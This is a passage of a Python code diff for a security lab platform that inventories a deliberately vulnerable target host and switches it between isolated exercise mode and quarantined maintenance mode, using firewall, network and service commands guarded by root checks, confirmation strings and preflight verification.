+        owner = str(metadata.st_uid)
+    try:
+        group = grp.getgrgid(metadata.st_gid).gr_name
+    except KeyError:
+        group = str(metadata.st_gid)
+    return {
+        "path": str(path),
+        "kind": kind,
+        "owner": owner,
+        "group": group,
+        "mode": f"{metadata.st_mode & 0o7777:04o}",
+    }
+
+
+def _collect_trusted_state() -> dict[str, Any]:
+    try:
+        marker_metadata = DEFAULT_FRESH_MARKER.lstat()
+    except OSError:
+        marker = {
+            "path": str(DEFAULT_FRESH_MARKER),
+            "kind": "missing",
+            "uid": None,
+            "mode": None,
+            "contentValid": False,
+        }
+    else:
+        marker_kind = (
+            "file"
+            if stat.S_ISREG(marker_metadata.st_mode)
+            else "symlink"
+            if stat.S_ISLNK(marker_metadata.st_mode)
+            else "other"
+        )
+        content_valid = False
+        if marker_kind == "file":
+            try:
+                content_valid = (
+                    DEFAULT_FRESH_MARKER.read_bytes()
+                    == fresh_marker_bytes()
+                )
+            except OSError:
+                content_valid = False
+        marker = {
+            "path": str(DEFAULT_FRESH_MARKER),
+            "kind": marker_kind,
+            "uid": marker_metadata.st_uid,
+            "mode": f"{marker_metadata.st_mode & 0o7777:04o}",
+            "contentValid": content_valid,
+        }
+    present = []
+    for path in (
+        DEFAULT_STATE_PATH,
+        DEFAULT_ENV_PATH,
+        DEFAULT_RUNTIME_ID_PATH,
+    ):
+        try:
+            path.lstat()
+        except OSError:
+            continue
+        present.append(str(path))
+    return {
+        "freshMarker": marker,
+        "sessionArtifactsPresent": sorted(present),
+    }
+
+
+def _collect_services(manifest: dict[str, Any]) -> dict[str, str]:
+    names = sorted(
+        set(
+            manifest["services"]["vulnerable"]
+            + manifest["services"]["exerciseInfrastructure"]
+            + manifest["services"]["maintenanceConnectivity"]
+            + [
+                "open-world-boot-quarantine.service",
+                "open-world-exercise.target",
+                "open-world-maintenance.target",
+                "open-world-telemetry.socket",
+                "open-world-vulnerable.target",
+                WINDOWS_MOUNT_UNIT,
+                *ALWAYS_MASKED_UNITS,
+                *TRANSIENT_LAB_UNITS,
+            ]
+        )
+    )
+    result: dict[str, str] = {}
+    for name in names:
+        completed = _run(
+            ["systemctl", "is-active", name],
+            acceptable_returncodes={0, 1, 2, 3, 4},
+        )
+        state = completed.stdout.strip()
+        result[name] = state if state else "unknown"
+    return result
+
+
+def _collect_packages(names: list[str]) -> dict[str, bool]:
+    result: dict[str, bool] = {}
+    for name in names:
+        completed = _run(
+            [
+                "dpkg-query",
+                "--show",
+                "--showformat=${Status}",
+                name,
+            ],
+            acceptable_returncodes={0, 1},
+        )
+        result[name] = (
+            completed.returncode == 0
+            and completed.stdout.strip() == "install ok installed"
+        )
+    return result
+
+
+def _collect_platform_identity() -> dict[str, str | None]:
+    try:
+        os_release = platform.freedesktop_os_release()
+    except OSError:
+        os_release = {}
+    try:
+        architecture = _run(["dpkg", "--print-architecture"]).stdout.strip()
+    except (ContractError, OSError):
+        architecture = ""
+    return {
+        "osId": os_release.get("ID"),
+        "osVersionId": os_release.get("VERSION_ID"),
+        "dpkgArchitecture": architecture or None,
+        "kernelMachine": platform.machine() or None,
+    }
+
+
+def _read_kernel_cmdline() -> list[str]:
+    try:
+        return Path("/proc/cmdline").read_text(encoding="utf-8").split()
+    except OSError as exc:
+        raise ContractError("could not read the kernel command line") from exc
+
+
+def _read_dnsmasq_directives(path: Path) -> list[str]:
+    try:
+        lines = path.read_text(encoding="utf-8").splitlines()
+    except OSError:
+        return []
+    return sorted(
+        line.strip()
+        for line in lines
+        if line.strip() and not line.lstrip().startswith("#")
+    )
+
+
+def _collect_dnsmasq_policy() -> dict[str, list[str]]:
+    return {
+        "serviceOverrideDirectives": _read_dnsmasq_directives(
+            Path(
+                "/etc/systemd/system/dnsmasq.service.d/"
+                "90-open-world-target.conf"
+            )
+        ),
+        "labDirectives": _read_dnsmasq_directives(
+            Path("/etc/dnsmasq.d/open-world-lab.conf")
+        ),
+    }
+
+
+def _find_lsblk_node(nodes: list[dict[str, Any]], path: str) -> dict[str, Any] | None:
+    for node in nodes:
+        if node.get("path") == path:
+            return node
+        children = node.get("children")
+        if isinstance(children, list):
+            found = _find_lsblk_node(children, path)
+            if found:
+                return found
+    return None
+
+
+def _find_mount(target: Path) -> dict[str, Any]:
+    value = _run_json(
+        [
+            "findmnt",
+            "--evaluate",
+            "--json",
+            "--target",
+            str(target),
+            "--output",
+            "SOURCE,TARGET,FSTYPE,OPTIONS,UUID",
+        ]
+    )
+    filesystems = value.get("filesystems", []) if isinstance(value, dict) else []
+    if len(filesystems) != 1 or not isinstance(filesystems[0], dict):
+        raise ContractError(f"could not independently identify mount: {target}")
+    return filesystems[0]
+
+
+def _normalize_mount_source(value: Any) -> str | None:
+    if not isinstance(value, str):
+        return None
+    return re.sub(r"\[/[^\]]*\]$", "", value)
+
+
+def _collect_windows_mount(
+    windows_partition: dict[str, Any],
+) -> dict[str, Any]:
+    mountpoint = Path("/mnt/windows")
+    unmounted = {
+        "sourceDevice": None,
+        "target": str(mountpoint),
+        "filesystemType": None,
+        "options": [],
+        "partuuid": windows_partition.get("partuuid"),
+    }
+    if not mountpoint.exists():
+        return unmounted
+    try:
+        observed = _find_mount(mountpoint)
+    except ContractError:
+        return unmounted
+    if observed.get("target") != str(mountpoint):
+        return unmounted
+    options = observed.get("options")
+    return {
+        "sourceDevice": _normalize_mount_source(observed.get("source")),
+        "target": observed.get("target"),
+        "filesystemType": observed.get("fstype"),
+        "options": (
+            sorted(set(options.split(",")))
+            if isinstance(options, str)
+            else []
+        ),
+        "partuuid": windows_partition.get("partuuid"),
+    }
+
+
+def _block_source_evidence(source: str) -> dict[str, Any]:
+    if not source.startswith("/dev/"):
+        return {
+            "sourceDevice": source,
+            "removable": False,
+            "transport": None,
+            "filesystemUuid": None,
+            "backingDevices": [],
+            "physicalDisks": [],
+        }
+    raw = _run_json(
+        [
+            "lsblk",
+            "--inverse",
+            "--json",
+            "--bytes",
+            "--output",
+            "PATH,TYPE,PKNAME,RM,TRAN,UUID",
+            source,
+        ]
+    )
+    nodes = raw.get("blockdevices", []) if isinstance(raw, dict) else []
+    node = _find_lsblk_node(nodes, source)
+    if not isinstance(node, dict):
+        raise ContractError(f"could not inspect mount source block device: {source}")
+    flattened: list[dict[str, Any]] = []
+
+    def visit(values: list[dict[str, Any]]) -> None:
+        for value in values:
+            if not isinstance(value, dict):
+                continue
+            flattened.append(value)
+            children = value.get("children")
+            if isinstance(children, list):
+                visit(children)
+
+    visit(nodes)
+    backing_devices = sorted(
+        {
+            value["path"]
+            for value in flattened
+            if isinstance(value.get("path"), str)
+        }
+    )
+    removable = any(bool(value.get("rm")) for value in flattened)
+    physical_disks = sorted(
+        {
+            value["path"]
+            for value in flattened
+            if value.get("type") == "disk"
+            and isinstance(value.get("path"), str)
+        }
+    )
+    transport = next(
+        (
+            value.get("tran")
+            for value in reversed(flattened)
+            if value.get("tran")
+        ),
+        None,
+    )
+    return {
+        "sourceDevice": source,
+        "parentDevice": (
+            physical_disks[0] if len(physical_disks) == 1 else source
+        ),
+        "backingDevices": backing_devices,
+        "physicalDisks": physical_disks,
+        "removable": removable,
+        "transport": transport,
+        "filesystemUuid": node.get("uuid"),
+    }
+
+
+def _collect_disk(profile: dict[str, Any]) -> tuple[dict[str, Any], dict[str, Any]]:
+    stable_path = Path(profile["target"]["diskById"])
+    if not stable_path.exists():
+        raise ContractError(f"stable target disk path does not exist: {stable_path}")
+    resolved_disk = str(stable_path.resolve(strict=True))
+    raw = _run_json(
+        [
+            "lsblk",
+            "--json",
+            "--bytes",
+            "--output",
+            "PATH,TYPE,SERIAL,WWN,SIZE,PARTUUID,MOUNTPOINTS",
+        ]
+    )
+    nodes = raw.get("blockdevices", []) if isinstance(raw, dict) else []
+    disk = _find_lsblk_node(nodes, resolved_disk)
+    if not isinstance(disk, dict) or disk.get("type") != "disk":
+        raise ContractError(f"target by-id did not resolve to a disk: {stable_path}")
+    target_disk = {
+        "diskById": str(stable_path),
+        "resolvedDevice": resolved_disk,
+        "diskSerial": disk.get("serial"),
+        "diskWwn": disk.get("wwn"),
+        "diskSizeBytes": disk.get("size"),
+    }
+    partitions: dict[str, Any] = {}
+    expected = {
+        "debian": profile["target"]["debianPartuuid"],
+        "esp": profile["target"]["espPartuuid"],
+        "windows": profile["target"]["windowsPartuuid"],
+    }
+    for label, partuuid in expected.items():
+        match = None
+        for child in disk.get("children", []):
+            if isinstance(child, dict) and child.get("partuuid") == partuuid:
+                match = child
+                break
+        partitions[label] = {
+            "partuuid": match.get("partuuid") if match else None,
+            "device": match.get("path") if match else None,
+            "mountpoints": match.get("mountpoints") if match else None,
+        }
+    return target_disk, partitions
+
+
+def collect_live_inventory(
+    manifest: dict[str, Any],
+    profile: dict[str, Any],
+    *,
+    recovery_mount: Path | None = None,
+) -> dict[str, Any]:
+    if platform.system() != "Linux":
+        raise ContractError("live inventory is supported only on the Debian/recovery Linux")
+    validate_manifest(manifest)
+    validate_profile(profile)
+    target_disk, partitions = _collect_disk(profile)
+    root_mount = _find_mount(Path("/"))
+    root_source = _normalize_mount_source(root_mount.get("source"))
+    root_source_evidence = (
+        _block_source_evidence(root_source)
+        if isinstance(root_source, str)
+        else {
+            "sourceDevice": None,
+            "removable": False,
+            "transport": None,
+            "filesystemUuid": None,
+            "backingDevices": [],
+            "physicalDisks": [],
+        }
+    )
+    cmdline = _read_kernel_cmdline()
+    root_filesystem = {
+        "sourceDevice": root_source,
+        "target": root_mount.get("target"),
+        "filesystemType": root_mount.get("fstype"),
+        "filesystemUuid": root_mount.get("uuid"),
+        "backingDevices": root_source_evidence["backingDevices"],
+        "removable": root_source_evidence["removable"],
+        "transport": root_source_evidence["transport"],
+    }
+    if recovery_mount is not None:
+        resolved_recovery = recovery_mount.resolve(strict=True)
+        mount_info = _find_mount(resolved_recovery)
+        source = _normalize_mount_source(mount_info.get("source"))
+        if not isinstance(source, str):
+            raise ContractError("could not identify recovery source device")
+        evidence = _block_source_evidence(source)
+        observed_uuid = mount_info.get("uuid") or evidence["filesystemUuid"]
+        recovery_token = "examserver-open-world-recovery=1" in cmdline
+        root_backing_devices = root_source_evidence.get("backingDevices", [])
+        recovery_backing_devices = evidence.get("backingDevices", [])
+        root_physical_disks = root_source_evidence.get("physicalDisks", [])
+        recovery_physical_disks = evidence.get("physicalDisks", [])
+        shared_physical_disks = sorted(
+            set(root_physical_disks) & set(recovery_physical_disks)
+        )
+        root_source_removable = root_source_evidence["removable"] is True
+        root_has_block_topology = bool(root_backing_devices) and bool(
+            root_physical_disks
+        )
+        root_is_not_target = (
+            isinstance(root_source, str)
+            and root_source != target_disk["resolvedDevice"]
+            and target_disk["resolvedDevice"] not in root_backing_devices
+        )
+        recovery_is_not_target = (
+            source != target_disk["resolvedDevice"]
+            and target_disk["resolvedDevice"] not in recovery_backing_devices
+        )
+        root_shares_recovery_media = (
+            bool(shared_physical_disks)
+            and root_source_evidence.get("transport") == "usb"
+            and evidence.get("transport") == "usb"
+        )
+        trusted_recovery = (
+            recovery_token
+            and evidence["removable"] is True
+            and root_source_removable
+            and root_has_block_topology
+            and root_is_not_target
+            and recovery_is_not_target
+            and root_shares_recovery_media
+            and observed_uuid == profile["recovery"]["mediaUuid"]
+        )
+        return {
+            "schemaVersion": 1,
+            "platformIdentity": _collect_platform_identity(),
+            "bootEnvironment": (
+                "trusted-recovery-media"
+                if trusted_recovery
+                else "untrusted-recovery-context"
+            ),
+            "rootFilesystem": root_filesystem,
+            "targetDisk": target_disk,
+            "partitions": partitions,
+            "recoveryMedia": {
+                "mountPoint": str(resolved_recovery),
+                "mediaUuid": observed_uuid,
+                **evidence,
+            },
+            "bootEvidence": {
+                "kernelRecoveryToken": recovery_token,
+                "recoverySourceRemovable": evidence["removable"],
+                "rootSource": root_source,
+                "rootBackingDevices": root_backing_devices,
+                "rootPhysicalDisks": root_physical_disks,
+                "rootTransport": root_source_evidence.get("transport"),
+                "rootSourceRemovable": root_source_removable,
+                "rootSourceHasBlockTopology": root_has_block_topology,
+                "rootSourceNotTarget": root_is_not_target,
+                "rootSharesRecoveryMedia": root_shares_recovery_media,
+                "sharedRecoveryPhysicalDisks": shared_physical_disks,
+            },
+        }
+
+    radio = _rfkill_state()
+    network = {
+        "interfaces": _collect_interfaces(radio),
+        "networkManager": _collect_networkmanager_policy(
+            profile["network"]["wiredInterface"]
+        ),
+        "defaultRoutesV4": _collect_routes(None),
+        "defaultRoutesV6": _collect_routes("-6"),
+        "dnsServers": _collect_dns(),
+        "listeners": _collect_listeners(),
+        "ipv4Forwarding": _read_bool(Path("/proc/sys/net/ipv4/ip_forward"), "1"),
+        "ipv6Disabled": _read_bool(
+            Path("/proc/sys/net/ipv6/conf/all/disable_ipv6"), "1"
+        ),
+        "firewall": _firewall_state(),
+        "radio": radio,
+    }
+    services = _collect_services(manifest)
+    root_is_target = (
+        isinstance(root_source, str)
+        and root_source == partitions["debian"]["device"]
+        and "/" in (partitions["debian"].get("mountpoints") or [])
+    )
+    firewall = network["firewall"]
+    maintenance_is_live = (
+        root_is_target
+        and services.get("open-world-maintenance.target") == "active"
+        and firewall.get("table") == "open_world_quarantine"
+    )
+    inventory: dict[str, Any] = {
+        "schemaVersion": 1,
+        "platformIdentity": _collect_platform_identity(),
+        "bootEnvironment": (
+            "installed-debian-maintenance"
+            if maintenance_is_live
+            else "installed-debian"
+            if root_is_target
+            else "other-linux"
+        ),
+        "rootFilesystem": root_filesystem,
+        "targetDisk": target_disk,
+        "partitions": partitions,
+        "windowsMount": _collect_windows_mount(partitions["windows"]),
+        "network": network,
+        "services": services,
+        "packages": _collect_packages(manifest["packages"]),
+        "unitFiles": _collect_unit_file_states(list(ALWAYS_MASKED_UNITS)),
+        "nfs": _nfs_policy_state(),
+        "trustedState": _collect_trusted_state(),
+        "dnsmasqLease": {
+            "directory": _collect_path_metadata(
+                Path("/run/open-world-dnsmasq")
+            ),
+            "file": _collect_path_metadata(
+                Path("/run/open-world-dnsmasq/dnsmasq.leases")
+            ),
+        },
+        "dnsmasqPolicy": _collect_dnsmasq_policy(),
+        "markers": {
+            "exerciseReady": Path(
+                "/run/open-world-lab/exercise-ready"
+            ).is_file()
+        },
+    }
+    return inventory
diff --git a/labs/open-world-target/platform/open_world_platform/mode.py b/labs/open-world-target/platform/open_world_platform/mode.py
new file mode 100644
index 0000000..7e3a025
--- /dev/null
+++ b/labs/open-world-target/platform/open_world_platform/mode.py
@@ -0,0 +1,508 @@
+from __future__ import annotations
+
+import os
+import subprocess
+from dataclasses import dataclass
+from pathlib import Path
+from typing import Any, Callable
+
+from .model import (
+    ALWAYS_MASKED_UNITS,
+    ContractError,
+    INTERFACE_RE,
+    RAW_AUDIT_UNITS,
+    TRANSIENT_LAB_UNITS,
+    WINDOWS_MOUNT_UNIT,
+)
+from .preflight import (
+    evaluate_connectivity_clean_state,
+    evaluate_exercise,
+    evaluate_host_binding,
+    evaluate_maintenance,
+)
+from .session import prepare_fresh_session
+
+
+RUNTIME_DIR = Path("/run/open-world-lab")
+EXERCISE_MARKER = RUNTIME_DIR / "exercise-ready"
+TELEMETRY_SOCKET = "open-world-telemetry.socket"
+
+
+@dataclass(frozen=True)
+class PlannedCommand:
+    args: tuple[str, ...]
+    purpose: str
+
+    def to_dict(self) -> dict[str, Any]:
+        return {"args": list(self.args), "purpose": self.purpose}
+
+
+def _service_names(manifest: dict[str, Any]) -> list[str]:
+    services = manifest["services"]
+    return sorted(
+        set(
+            services["vulnerable"]
+            + services["exerciseInfrastructure"]
+            + [
+                TELEMETRY_SOCKET,
+                WINDOWS_MOUNT_UNIT,
+                *ALWAYS_MASKED_UNITS,
+                *TRANSIENT_LAB_UNITS,
+            ]
+        )
+    )
+
+
+def _stop_lab_commands(manifest: dict[str, Any]) -> list[PlannedCommand]:
+    names = [
+        name for name in _service_names(manifest)
+        if name not in RAW_AUDIT_UNITS
+    ]
+    return [
+        PlannedCommand(
+            ("systemctl", "stop", *names),
+            "stop every lab-facing service during the transition",
+        ),
+    ]
+
+
+def _safe_observed_interfaces(inventory: dict[str, Any]) -> list[str]:
+    values = []
+    network = inventory.get("network", {})
+    for interface in network.get("interfaces", []):
+        if not isinstance(interface, dict):
+            continue
+        name = interface.get("name")
+        if (
+            isinstance(name, str)
+            and name != "lo"
+            and INTERFACE_RE.fullmatch(name)
+        ):
+            values.append(name)
+    return sorted(set(values))
+
+
+def exercise_plan(
+    manifest: dict[str, Any],
+    profile: dict[str, Any],
+    inventory: dict[str, Any],
+) -> list[PlannedCommand]:
+    wired = profile["network"]["wiredInterface"]
+    if not INTERFACE_RE.fullmatch(wired):
+        raise ContractError("unsafe wired interface name")
+    commands = [
+        PlannedCommand(
+            ("systemctl", "stop", "open-world-exercise.target"),
+            "close the exercise target before changing isolation",
+        ),
+        *_stop_lab_commands(manifest),
+        PlannedCommand(
+            (
+                "systemctl",
+                "stop",
+                *manifest["services"]["maintenanceConnectivity"],
+            ),
+            "stop update connectivity before vulnerable services can return",
+        ),
+        PlannedCommand(("rfkill", "block", "wifi"), "block Wi-Fi"),
+        PlannedCommand(("rfkill", "block", "wwan"), "block mobile broadband"),
+        PlannedCommand(("rfkill", "block", "bluetooth"), "block Bluetooth"),
+    ]
+    for interface in _safe_observed_interfaces(inventory):
+        if interface != wired:
+            commands.append(
+                PlannedCommand(
+                    ("ip", "link", "set", "dev", interface, "down"),
+                    f"disable non-lab interface {interface}",
+                )
+            )
+    commands.extend(
+        [
+            PlannedCommand(
+                ("ip", "link", "set", "dev", wired, "down"),
+                "close the wired link while replacing its state",
+            ),
+            PlannedCommand(
+                ("ip", "address", "flush", "dev", wired),
+                "remove stale addresses from the wired link",
+            ),
+            PlannedCommand(
+                ("ip", "route", "flush", "dev", wired),
+                "remove every IPv4 route on the wired link",
+            ),
+            PlannedCommand(
+                ("ip", "-6", "route", "flush", "dev", wired),
+                "remove every IPv6 route on the wired link",
+            ),
+            PlannedCommand(
+                (
+                    "ip",
+                    "address",
+                    "add",
+                    manifest["network"]["targetAddress"],
+                    "dev",
+                    wired,
+                ),
+                "assign the one exercise address",
+            ),
+            PlannedCommand(
+                ("ip", "link", "set", "dev", wired, "up"),
+                "raise only the direct-link interface",
+            ),
+            PlannedCommand(
+                ("sysctl", "--system"),
+                "disable forwarding and IPv6 using the installed policy",
+            ),
+            PlannedCommand(
+                (
+                    "nft",
+                    "--file",
+                    "/etc/nftables.d/open-world-exercise.nft",
+                ),
+                "install the subnet-only exercise firewall",
+            ),
+        ]
+    )
+    return commands
+
+
+def maintenance_plan(
+    manifest: dict[str, Any],
+    profile: dict[str, Any],
+) -> list[PlannedCommand]:
+    wired = profile["network"]["wiredInterface"]
+    return [
+        PlannedCommand(
+            ("systemctl", "stop", "open-world-exercise.target"),
+            "stop the aggregate exercise target first",
+        ),
+        *_stop_lab_commands(manifest),
+        PlannedCommand(
+            (
+                "systemctl",
+                "stop",
+                *manifest["services"]["maintenanceConnectivity"],
+            ),
+            "stop all maintenance connectivity before quarantine verification",
+        ),
+        PlannedCommand(
+            (
+                "nft",
+                "--file",
+                "/etc/nftables.d/open-world-quarantine.nft",
+            ),
+            "deny non-loopback traffic before any maintenance connectivity",
+        ),
+        PlannedCommand(
+            ("ip", "link", "set", "dev", wired, "down"),
+            "close the exercise cable interface",
+        ),
+        PlannedCommand(
+            ("ip", "address", "flush", "dev", wired),
+            "remove the exercise address",
+        ),
+        PlannedCommand(
+            ("ip", "route", "flush", "dev", wired),
+            "remove exercise IPv4 routes",
+        ),
+        PlannedCommand(
+            ("ip", "-6", "route", "flush", "dev", wired),
+            "remove exercise IPv6 routes",
+        ),
+        PlannedCommand(("rfkill", "block", "wifi"), "keep Wi-Fi blocked"),
+        PlannedCommand(("rfkill", "block", "wwan"), "keep WWAN blocked"),
+        PlannedCommand(("rfkill", "block", "bluetooth"), "keep Bluetooth blocked"),
+        PlannedCommand(
+            ("systemctl", "start", "open-world-maintenance.target"),
+            "enter maintenance only after the vulnerable surface is closed",
+        ),
+    ]
+
+
+def maintenance_connectivity_plan(
+    manifest: dict[str, Any],
+    profile: dict[str, Any],
+    *,
+    enabled: bool,
+) -> list[PlannedCommand]:
+    chosen = profile["network"]["maintenanceConnectivityService"]
+    allowed = set(manifest["services"]["maintenanceConnectivity"])
+    if chosen not in allowed:
+        raise ContractError(
+            "profile maintenanceConnectivityService is not allowlisted by manifest"
+        )
+    if enabled:
+        return [
+            PlannedCommand(
+                ("ip", "link", "set", "dev", profile["network"]["wiredInterface"], "down"),
+                "keep the physically disconnected direct-link interface down",
+            ),
+            PlannedCommand(
+                ("ip", "address", "flush", "dev", profile["network"]["wiredInterface"]),
+                "remove any direct-link address before maintenance connectivity",
+            ),
+            PlannedCommand(
+                ("systemctl", "restart", "nftables.service"),
+                "restore the host maintenance firewall",
+            ),
+            PlannedCommand(
+                ("systemctl", "start", "systemd-resolved.service"),
+                "enable DNS only after maintenance preflight",
+            ),
+            PlannedCommand(("rfkill", "unblock", "wifi"), "enable Wi-Fi only"),
+            PlannedCommand(
+                ("systemctl", "start", chosen),
+                f"start the selected maintenance connectivity service {chosen}",
+            ),
+        ]
+    return [
+        PlannedCommand(
+            (
+                "nft",
+                "--file",
+                "/etc/nftables.d/open-world-quarantine.nft",
+            ),
+            "restore quarantine before stopping connectivity",
+        ),
+        PlannedCommand(
+            (
+                "systemctl",
+                "stop",
+                *manifest["services"]["maintenanceConnectivity"],
+            ),
+            "stop every maintenance connectivity service",
+        ),
+        PlannedCommand(("rfkill", "block", "wifi"), "block Wi-Fi"),
+    ]
+
+
+def run_commands(
+    commands: list[PlannedCommand],
+    runner: Callable[..., subprocess.CompletedProcess[str]] = subprocess.run,
+) -> None:
+    for command in commands:
+        completed = runner(
+            list(command.args),
+            check=False,
+            capture_output=True,
+            text=True,
+            timeout=60,
+        )
+        if completed.returncode != 0:
+            message = completed.stderr.strip() or completed.stdout.strip()
+            raise ContractError(
+                f"mode transition failed during {command.purpose}: "
+                f"{command.args!r}: {message}"
+            )
+
+
+def _require_apply_authority(actual: str | None, expected: str) -> None:
+    if actual != expected:
+        raise ContractError(f"confirmation must exactly equal: {expected}")
+    if os.name != "posix" or os.geteuid() != 0:
+        raise ContractError("mode mutation requires root on Debian")
+
+
+def _require_mode_host(
+    manifest: dict[str, Any],
+    profile: dict[str, Any],
+    inventory: dict[str, Any],
+) -> None:
+    issues = evaluate_host_binding(manifest, profile, inventory)
+    if issues:
+        raise ContractError(
+            "mode mutation is not bound to the target Debian: "
+            + "; ".join(issue.detail for issue in issues)
+        )
+
+
+def enter_exercise(
+    manifest: dict[str, Any],
+    profile: dict[str, Any],
+    inventory: dict[str, Any],
+    *,
+    apply: bool,
+    confirmation: str | None,
+    inventory_provider: Callable[[], dict[str, Any]] | None = None,
+    runner: Callable[..., subprocess.CompletedProcess[str]] = subprocess.run,
+) -> dict[str, Any]:
+    plan = exercise_plan(manifest, profile, inventory)
+    if not apply:
+        return {
+            "applied": False,
+            "mode": "exercise",
+            "plan": [item.to_dict() for item in plan],
+            "sessionPlan": {
+                "requires": "trusted fresh-state marker and no prior state/session files",
+                "writesAtomically": [
+                    "/etc/examserver-open-world/session.env",
+                    "/run/examserver-open-world/session-id",
+                ],
+                "before": "open-world-exercise.target",
+            },
+        }
+    _require_apply_authority(
+        confirmation, manifest["mode"]["exerciseConfirmation"]
+    )
+    if inventory_provider is None:
+        raise ContractError("live inventory provider is required for apply")
+    _require_mode_host(manifest, profile, inventory)
+    EXERCISE_MARKER.unlink(missing_ok=True)
+    run_commands(plan, runner)
+    isolation_issues = evaluate_exercise(
+        manifest, profile, inventory_provider(), require_services=False
+    )
+    if isolation_issues:
+        run_commands(maintenance_plan(manifest, profile), runner)
+        raise ContractError(
+            "exercise isolation preflight failed: "
+            + "; ".join(issue.detail for issue in isolation_issues)
+        )
+
+    try:
+        session_id = prepare_fresh_session()
+    except Exception:
+        run_commands(maintenance_plan(manifest, profile), runner)
+        raise
+    RUNTIME_DIR.mkdir(mode=0o700, parents=True, exist_ok=True)
+    EXERCISE_MARKER.write_text("preflight-passed\n", encoding="ascii")
+    os.chmod(EXERCISE_MARKER, 0o600)
+    try:
+        run_commands(
+            [
+                PlannedCommand(
+                    ("systemctl", "start", "open-world-exercise.target"),
+                    "start exercise services after isolation passed",
+                )
+            ],
+            runner,
+        )
+        ready_issues = evaluate_exercise(
+            manifest, profile, inventory_provider(), require_services=True
+        )
+        if ready_issues:
+            raise ContractError(
+                "exercise ready preflight failed: "
+                + "; ".join(issue.detail for issue in ready_issues)
+            )
+    except Exception:
+        EXERCISE_MARKER.unlink(missing_ok=True)
+        run_commands(maintenance_plan(manifest, profile), runner)
+        raise
+    return {
+        "applied": True,
+        "mode": "exercise",
+        "passed": True,
+        "sessionId": session_id,
+    }
+
+
+def enter_maintenance(
+    manifest: dict[str, Any],
+    profile: dict[str, Any],
+    *,
+    apply: bool,
+    confirmation: str | None,
+    inventory_provider: Callable[[], dict[str, Any]] | None = None,
+    runner: Callable[..., subprocess.CompletedProcess[str]] = subprocess.run,
+) -> dict[str, Any]:
+    plan = maintenance_plan(manifest, profile)
+    if not apply:
+        return {"applied": False, "mode": "maintenance", "plan": [item.to_dict() for item in plan]}
+    _require_apply_authority(
+        confirmation, manifest["mode"]["maintenanceConfirmation"]
+    )
+    if inventory_provider is None:
+        raise ContractError("live inventory provider is required for apply")
+    _require_mode_host(manifest, profile, inventory_provider())
+    EXERCISE_MARKER.unlink(missing_ok=True)
+    run_commands(plan, runner)
+    issues = evaluate_maintenance(
+        manifest,
+        profile,
+        inventory_provider(),
+        connectivity_may_be_enabled=False,
+    )
+    if issues:
+        raise ContractError(
+            "maintenance preflight failed: "
+            + "; ".join(issue.detail for issue in issues)
+        )
+    return {"applied": True, "mode": "maintenance", "passed": True}
+
+
+def set_maintenance_connectivity(
+    manifest: dict[str, Any],
+    profile: dict[str, Any],
+    inventory: dict[str, Any],
+    *,
+    enabled: bool,
+    apply: bool,
+    confirmation: str | None,
+    inventory_provider: Callable[[], dict[str, Any]] | None = None,
+    runner: Callable[..., subprocess.CompletedProcess[str]] = subprocess.run,
+) -> dict[str, Any]:
+    preflight_issues = evaluate_maintenance(
+        manifest,
+        profile,
+        inventory,
+        connectivity_may_be_enabled=False,
+    )
+    if enabled:
+        preflight_issues.extend(
+            evaluate_connectivity_clean_state(profile, inventory)
+        )
+    if enabled and preflight_issues:
+        raise ContractError(
+            "maintenance connectivity remains blocked: "
+            + "; ".join(issue.detail for issue in preflight_issues)
+        )
+    plan = maintenance_connectivity_plan(
+        manifest, profile, enabled=enabled
+    )
+    if not apply:
+        return {
+            "applied": False,
+            "mode": "maintenance-connectivity",
+            "enabled": enabled,
+            "trustedRecoveryRequiredAfterExercise": enabled,
+            "plan": [item.to_dict() for item in plan],
+        }
+    expected = (
+        manifest["mode"]["connectivityConfirmation"]
+        if enabled
+        else manifest["mode"]["maintenanceConfirmation"]
+    )
+    _require_apply_authority(confirmation, expected)
+    if inventory_provider is None:
+        raise ContractError("live inventory provider is required for apply")
+    _require_mode_host(manifest, profile, inventory)
+    run_commands(plan, runner)
+    postflight_inventory = inventory_provider()
+    postflight_issues = evaluate_maintenance(
+        manifest,
+        profile,
+        postflight_inventory,
+        connectivity_may_be_enabled=enabled,
+    )
+    if enabled:
+        postflight_issues.extend(
+            evaluate_connectivity_clean_state(profile, postflight_inventory)
+        )
+    if postflight_issues:
+        if enabled:
+            run_commands(
+                maintenance_connectivity_plan(
+                    manifest, profile, enabled=False
+                ),
+                runner,
+            )
+        raise ContractError(
+            "maintenance connectivity postflight failed: "
+            + "; ".join(issue.detail for issue in postflight_issues)
+        )
+    return {
+        "applied": True,
+        "mode": "maintenance-connectivity",
+        "enabled": enabled,
+    }
diff --git a/labs/open-world-target/platform/open_world_platform/model.py b/labs/open-world-target/platform/open_world_platform/model.py
new file mode 100644
index 0000000..dd1d54b
--- /dev/null
+++ b/labs/open-world-target/platform/open_world_platform/model.py
@@ -0,0 +1,343 @@
+from __future__ import annotations
+
+import hashlib
+import json
+import re
+from pathlib import Path
+from typing import Any
+
+
+SHA256_RE = re.compile(r"^[0-9a-fA-F]{64}$")
+INTERFACE_RE = re.compile(r"^[A-Za-z0-9_.:-]{1,15}$")
+PARTUUID_RE = re.compile(r"^[A-Za-z0-9-]{8,}$")
+UUID_RE = re.compile(
+    r"^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-"
+    r"[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$"
+)
+PLACEHOLDER_MARKERS = ("REPLACE_", "{{", "}}")
+NFS_AUXILIARY_UNITS = (
+    "rpcbind.service",
+    "rpcbind.socket",
+    "rpc-statd.service",
+    "rpc-statd-notify.service",
+)
+FORBIDDEN_NETWORK_UNITS = ("nmbd.service",)
+SECONDARY_NETWORK_OWNER_UNITS = ("systemd-networkd.service",)
+RAW_AUDIT_UNITS = (
+    "auditd.service",
+    "systemd-journald-audit.socket",
+)
+ALWAYS_MASKED_UNITS = (
+    NFS_AUXILIARY_UNITS
+    + FORBIDDEN_NETWORK_UNITS
+    + SECONDARY_NETWORK_OWNER_UNITS
+    + RAW_AUDIT_UNITS
+)
+TRANSIENT_LAB_UNITS = ("open-world-root-timer.service",)
+WINDOWS_MOUNT_UNIT = "mnt-windows.mount"
+
+
+class ContractError(ValueError):
+    """Raised when an operator-supplied contract cannot be trusted."""
+
+
+def load_json(path: Path) -> dict[str, Any]:
+    try:
+        value = json.loads(path.read_text(encoding="utf-8"))
+    except (OSError, json.JSONDecodeError) as exc:
+        raise ContractError(f"cannot read JSON contract {path}: {exc}") from exc
+    if not isinstance(value, dict):
+        raise ContractError(f"JSON contract must be an object: {path}")
